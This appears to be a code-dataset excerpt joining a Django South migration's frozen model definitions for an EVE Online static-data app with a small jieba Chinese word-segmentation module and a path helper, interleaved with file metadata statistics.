'x': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x_max': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y_max': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.mapconstellationjump': {
'Meta': {'ordering': "['id']", 'unique_together': "(('from_constellation', 'to_constellation'),)", 'object_name': 'MapConstellationJump'},
'from_constellation': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'constellation_jumps_from_constellation_set'", 'to': "orm['eve_db.MapConstellation']"}),
'from_region': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'constellation_jumps_from_region_set'", 'to': "orm['eve_db.MapRegion']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'to_constellation': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'constellation_jumps_to_constellation_set'", 'to': "orm['eve_db.MapConstellation']"}),
'to_region': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'constellation_jumps_to_region_set'", 'to': "orm['eve_db.MapRegion']"})
},
'eve_db.mapdenormalize': {
'Meta': {'ordering': "['id']", 'object_name': 'MapDenormalize'},
'celestial_index': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'constellation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapConstellation']", 'null': 'True', 'blank': 'True'}),
'group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvGroup']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),
'orbit_id': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'orbit_index': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'radius': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'region': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapRegion']", 'null': 'True', 'blank': 'True'}),
'security': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'solar_system': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapSolarSystem']", 'null': 'True', 'blank': 'True'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']", 'null': 'True', 'blank': 'True'}),
'x': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.mapjump': {
'Meta': {'ordering': "['origin_gate']", 'object_name': 'MapJump'},
'destination_gate': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'stargate_jump_destination_set'", 'to': "orm['eve_db.MapDenormalize']"}),
'origin_gate': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'stargate_jump_origin_set'", 'unique': 'True', 'primary_key': 'True', 'to': "orm['eve_db.MapDenormalize']"})
},
'eve_db.maplandmark': {
'Meta': {'ordering': "['id']", 'object_name': 'MapLandmark'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'importance': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'radius': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'solar_system': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapSolarSystem']", 'null': 'True', 'blank': 'True'}),
'url_2d': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'x': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.mapregion': {
'Meta': {'ordering': "['id']", 'object_name': 'MapRegion'},
'faction': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.ChrFaction']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'radius': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x_max': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y_max': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.mapregionjump': {
'Meta': {'ordering': "['id']", 'unique_together': "(('from_region', 'to_region'),)", 'object_name': 'MapRegionJump'},
'from_region': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'region_jumps_from_region_set'", 'to': "orm['eve_db.MapRegion']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'to_region': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'region_jumps_to_region_set'", 'to': "orm['eve_db.MapRegion']"})
},
'eve_db.mapsolarsystem': {
'Meta': {'ordering': "['id']", 'object_name': 'MapSolarSystem'},
'constellation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapConstellation']", 'null': 'True', 'blank': 'True'}),
'faction': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'solarsystem_set'", 'null': 'True', 'to': "orm['eve_db.ChrFaction']"}),
'has_interconstellational_link': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'has_interregional_link': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'is_border_system': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_corridor_system': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_fringe_system': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_hub_system': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_international': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'luminosity': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'radius': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'region': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapRegion']", 'null': 'True', 'blank': 'True'}),
'security_class': ('django.db.models.fields.CharField', [], {'max_length': '5', 'blank': 'True'}),
'security_level': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'sovereignty_level': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'sovereignty_start_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'sun_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']", 'null': 'True', 'blank': 'True'}),
'x': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x_max': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y_max': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.mapsolarsystemjump': {
'Meta': {'ordering': "['id']", 'unique_together': "(('from_solar_system', 'to_solar_system'),)", 'object_name': 'MapSolarSystemJump'},
'from_constellation': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'solar_system_jumps_from_constellation_set'", 'null': 'True', 'to': "orm['eve_db.MapConstellation']"}),
'from_region': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'solar_system_jumps_from_region_set'", 'null': 'True', 'to': "orm['eve_db.MapRegion']"}),
'from_solar_system': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'solar_system_jumps_from_solar_system_set'", 'to': "orm['eve_db.MapSolarSystem']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'to_constellation': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'solar_system_jumps_to_constellation_set'", 'null': 'True', 'to': "orm['eve_db.MapConstellation']"}),
'to_region': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'solar_system_jumps_to_region_set'", 'null': 'True', 'to': "orm['eve_db.MapRegion']"}),
'to_solar_system': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'solar_system_jumps_to_solar_system_set'", 'to': "orm['eve_db.MapSolarSystem']"})
},
'eve_db.mapuniverse': {
'Meta': {'ordering': "['id']", 'object_name': 'MapUniverse'},
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'radius': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x_max': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'x_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y_max': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z_min': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.planetschematic': {
'Meta': {'ordering': "['id']", 'object_name': 'PlanetSchematic'},
'cycle_time': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'pin_map': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'usable_schematics'", 'symmetrical': 'False', 'through': "orm['eve_db.PlanetSchematicsPinMap']", 'to': "orm['eve_db.InvType']"}),
'type_map': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'used_with_schematic'", 'symmetrical': 'False', 'through': "orm['eve_db.PlanetSchematicsTypeMap']", 'to': "orm['eve_db.InvType']"})
},
'eve_db.planetschematicspinmap': {
'Meta': {'ordering': "['schematic', 'type']", 'unique_together': "(('schematic', 'type'),)", 'object_name': 'PlanetSchematicsPinMap'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'schematic': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.PlanetSchematic']"}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']"})
},
'eve_db.planetschematicstypemap': {
'Meta': {'ordering': "['schematic', 'is_input', 'type']", 'unique_together': "(('schematic', 'type'),)", 'object_name': 'PlanetSchematicsTypeMap'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_input': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'quantity': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'schematic': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.PlanetSchematic']"}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']"})
},
'eve_db.ramactivity': {
'Meta': {'ordering': "['id']", 'object_name': 'RamActivity'},
'description': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'icon_filename': ('django.db.models.fields.CharField', [], {'max_length': '50', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'is_published': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '75', 'blank': 'True'})
},
'eve_db.ramassemblyline': {
'Meta': {'ordering': "['id']", 'object_name': 'RamAssemblyLine'},
'activity': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.RamActivity']", 'null': 'True', 'blank': 'True'}),
'assembly_line_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.RamAssemblyLineType']", 'null': 'True', 'blank': 'True'}),
'cost_install': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'cost_per_hour': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'discount_per_good_standing_point': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'maximum_char_security': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'maximum_corp_security': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'minimum_char_security': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'minimum_corp_security': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'minimum_standing': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCCorporation']", 'null': 'True', 'blank': 'True'}),
'station': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.StaStation']", 'null': 'True', 'blank': 'True'}),
'surcharge_per_bad_standing_point': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'ui_grouping_id': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.ramassemblylinestations': {
'Meta': {'ordering': "['id']", 'unique_together': "(('station', 'assembly_line_type'),)", 'object_name': 'RamAssemblyLineStations'},
'assembly_line_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.RamAssemblyLineType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCCorporation']", 'null': 'True', 'blank': 'True'}),
'quantity': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'region': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapRegion']", 'null': 'True', 'blank': 'True'}),
'solar_system': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapSolarSystem']", 'null': 'True', 'blank': 'True'}),
'station': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.StaStation']"}),
'station_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.StaStationType']", 'null': 'True', 'blank': 'True'})
},
'eve_db.ramassemblylinetype': {
'Meta': {'ordering': "['id']", 'object_name': 'RamAssemblyLineType'},
'activity': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.RamActivity']", 'null': 'True', 'blank': 'True'}),
'base_material_multiplier': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'base_time_multiplier': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'min_cost_per_hour': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'volume': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.ramassemblylinetypedetailpercategory': {
'Meta': {'ordering': "['id']", 'unique_together': "(('assembly_line_type', 'category'),)", 'object_name': 'RamAssemblyLineTypeDetailPerCategory'},
'assembly_line_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.RamAssemblyLineType']"}),
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvCategory']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'material_multiplier': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'time_multiplier': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.ramassemblylinetypedetailpergroup': {
'Meta': {'ordering': "['id']", 'unique_together': "(('assembly_line_type', 'group'),)", 'object_name': 'RamAssemblyLineTypeDetailPerGroup'},
'assembly_line_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.RamAssemblyLineType']"}),
'group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvGroup']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'material_multiplier': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'time_multiplier': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.ramtyperequirement': {
'Meta': {'ordering': "['id']", 'unique_together': "(('type', 'activity_type', 'required_type'),)", 'object_name': 'RamTypeRequirement'},
'activity_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.RamActivity']"}),
'damage_per_job': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'quantity': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'recycle': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'required_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'required_type'", 'to': "orm['eve_db.InvType']"}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'type_requirement'", 'to': "orm['eve_db.InvType']"})
},
'eve_db.staoperation': {
'Meta': {'ordering': "['id']", 'object_name': 'StaOperation'},
'activity_id': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'amarr_station_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'amarr_station_operation_set'", 'null': 'True', 'to': "orm['eve_db.StaStationType']"}),
'border': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'caldari_station_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'caldari_station_operation_set'", 'null': 'True', 'to': "orm['eve_db.StaStationType']"}),
'corridor': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'fringe': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'gallente_station_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'gallente_station_operation_set'", 'null': 'True', 'to': "orm['eve_db.StaStationType']"}),
'hub': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'jove_station_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'jove_station_operation_set'", 'null': 'True', 'to': "orm['eve_db.StaStationType']"}),
'minmatar_station_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'minmatar_station_operation_set'", 'null': 'True', 'to': "orm['eve_db.StaStationType']"}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'ratio': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.staoperationservices': {
'Meta': {'ordering': "['id']", 'unique_together': "(('operation', 'service'),)", 'object_name': 'StaOperationServices'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'operation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.StaOperation']"}),
'service': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.StaService']"})
},
'eve_db.staservice': {
'Meta': {'ordering': "['id']", 'object_name': 'StaService'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'eve_db.stastation': {
'Meta': {'ordering': "['id']", 'object_name': 'StaStation'},
'constellation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapConstellation']", 'null': 'True', 'blank': 'True'}),
'corporation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCCorporation']", 'null': 'True', 'blank': 'True'}),
'docking_cost_per_volume': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'max_ship_volume_dockable': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'office_rental_cost': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'operation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.StaOperation']", 'null': 'True', 'blank': 'True'}),
'region': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapRegion']", 'null': 'True', 'blank': 'True'}),
'reprocessing_efficiency': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'reprocessing_hangar_flag': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'reprocessing_stations_take': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'security': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'solar_system': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapSolarSystem']", 'null': 'True', 'blank': 'True'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.StaStationType']", 'null': 'True', 'blank': 'True'}),
'x': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'y': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'z': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.stastationtype': {
'Meta': {'ordering': "['id']", 'object_name': 'StaStationType'},
'dock_entry_x': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'dock_entry_y': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'dock_entry_z': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'dock_orientation_x': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'dock_orientation_y': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'dock_orientation_z': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'docking_bay_graphic': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'docking_bay_graphic'", 'null': 'True', 'to': "orm['eve_db.EveGraphic']"}),
'hangar_graphic': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'hangar_graphic'", 'null': 'True', 'to': "orm['eve_db.EveGraphic']"}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'is_conquerable': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'office_slots': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'operation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.StaOperation']", 'null': 'True', 'blank': 'True'}),
'reprocessing_efficiency': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
}
}
complete_apps = ['eve_db']
| 80.469525
| 238
| 0.620352
| 17,385
| 155,789
| 5.406672
| 0.023814
| 0.090303
| 0.157881
| 0.225544
| 0.883047
| 0.838459
| 0.828576
| 0.821001
| 0.793074
| 0.761072
| 0
| 0.003113
| 0.166976
| 155,789
| 1,935
| 239
| 80.511111
| 0.721173
| 0.050241
| 0
| 0.377454
| 0
| 0
| 0.539314
| 0.359554
| 0
| 0
| 0
| 0
| 0
| 1
| 0.001267
| false
| 0
| 0.0038
| 0
| 0.006966
| 0.006966
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
58495cc27a022b295227fbb4bdba7f03119b28f9
| 999
|
py
|
Python
|
tool/segmenter.py
|
napoler/rime-idf-dict
|
02653a05bcf90040cb11aac48029dbf6cb9ea5be
|
[
"MIT"
] | 14
|
2019-04-15T06:46:33.000Z
|
2022-01-28T02:11:26.000Z
|
tool/segmenter.py
|
napoler/rime-idf-dict
|
02653a05bcf90040cb11aac48029dbf6cb9ea5be
|
[
"MIT"
] | null | null | null |
tool/segmenter.py
|
napoler/rime-idf-dict
|
02653a05bcf90040cb11aac48029dbf6cb9ea5be
|
[
"MIT"
] | 2
|
2020-10-02T02:03:21.000Z
|
2021-08-18T07:28:18.000Z
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
import jieba
import re
def segment(sentence, cut_all=True):
# jieba.load_userdict(file_name)
sentence = sentence.replace('\n', '').replace('\u3000', '').replace('\u00A0', '')
# sentence = ' '.join(jieba.cut(sentence, cut_all=cut_all))
# sentence = ' '.join(jieba.cut(sentence, cut_all=cut_all,HMM=True))
sentence = ' '.join(jieba.cut_for_search(sentence, HMM=True)) #搜索模式 发现更多的词汇
return re.sub('[a-zA-Z0-9.。::,,))((!!??”“\"]', '', sentence).split()
def segment_no_jieba(sentence, cut_all=True):
# jieba.load_userdict(file_name)
sentence = sentence.replace('\n', '').replace('\u3000', '').replace('\u00A0', '')
# sentence = ' '.join(jieba.cut(sentence, cut_all=cut_all))
# sentence = ' '.join(jieba.cut(sentence, cut_all=cut_all,HMM=True))
#sentence = ' '.join(jieba.cut_for_search(sentence, HMM=True)) #搜索模式 发现更多的词汇
return re.sub('[a-zA-Z0-9.。::,,))((!!??”“\"]', '', sentence).split()
| 45.409091
| 86
| 0.614615
| 130
| 999
| 4.569231
| 0.284615
| 0.10101
| 0.141414
| 0.20202
| 0.885522
| 0.885522
| 0.885522
| 0.885522
| 0.885522
| 0.885522
| 0
| 0.022379
| 0.15015
| 999
| 21
| 87
| 47.571429
| 0.677267
| 0.436436
| 0
| 0.444444
| 0
| 0
| 0.163842
| 0.109228
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0.222222
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 9
|
5864dd20fafc7799c74f67e7ade0df382d651df8
| 157
|
py
|
Python
|
typistry/util/path.py
|
kyprifog/typistry
|
aab285d909791106154874eb5331b65fc03849ae
|
[
"Apache-2.0"
] | null | null | null |
typistry/util/path.py
|
kyprifog/typistry
|
aab285d909791106154874eb5331b65fc03849ae
|
[
"Apache-2.0"
] | null | null | null |
typistry/util/path.py
|
kyprifog/typistry
|
aab285d909791106154874eb5331b65fc03849ae
|
[
"Apache-2.0"
] | null | null | null |
from os import path
def root():
d = path.dirname(path.dirname(path.abspath(__file__)))
return d
def from_root(path: str):
return root() + path
| 17.444444
| 58
| 0.66879
| 24
| 157
| 4.166667
| 0.5
| 0.22
| 0.3
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.203822
| 157
| 8
| 59
| 19.625
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.166667
| 0.166667
